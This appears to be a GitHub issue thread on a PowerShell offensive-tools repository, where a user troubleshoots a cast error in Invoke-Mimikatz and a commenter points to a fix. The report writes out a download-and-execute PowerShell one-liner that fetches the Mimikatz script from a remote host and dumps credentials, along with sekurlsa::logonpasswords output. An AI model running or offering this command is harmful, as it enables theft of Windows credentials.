clymb3r / PowerShell

Useful PowerShell scripts
1.2k stars 532 forks source link

Specified cast is not valid #13

Open CryneOnGithub opened 6 years ago

CryneOnGithub commented 6 years ago

When I try to run Mimikatz, I always get the exception "Specified cast is not valid"

`At line:2203 char:7 + if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_D ... + ~~~~~~~~~~~~~

`At Line:2261 char:7 + if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_D ... + ~~~~~~~~~~~~~

Im executing invoke-mimikatz with the command powershell “IEX (New-Object Net.WebClient).DownloadString (‘https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1’); Invoke-Mimikatz -Du mpCreds”

in an Administrator powershell, which is Version Major: 5, Minor: 1, Build: 16299, Revision: 98

My OS is Microsoft Windows 10 Home Version 10.0.16299 Build 16299

After the Errors Mimikatz still executes, but cant extract the credentials, the output is

`mimikatz(powershell) # sekurlsa::logonpasswords ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)

mimikatz(powershell) # exit Bye!`

with Mimikatz Version "mimikatz 2.0 alpha (x64) release "Kiwi en C" (Feb 16 2015 22:15:28)" I downloaded the invoke-mimikatz script at 14. April 2018

My antivirus is completely disabled

davehouser1 commented 3 years ago

I found this post, adding the [Int] in those two spots fixed the issue for me:

https://github.com/PowerShellMafia/PowerSploit/issues/152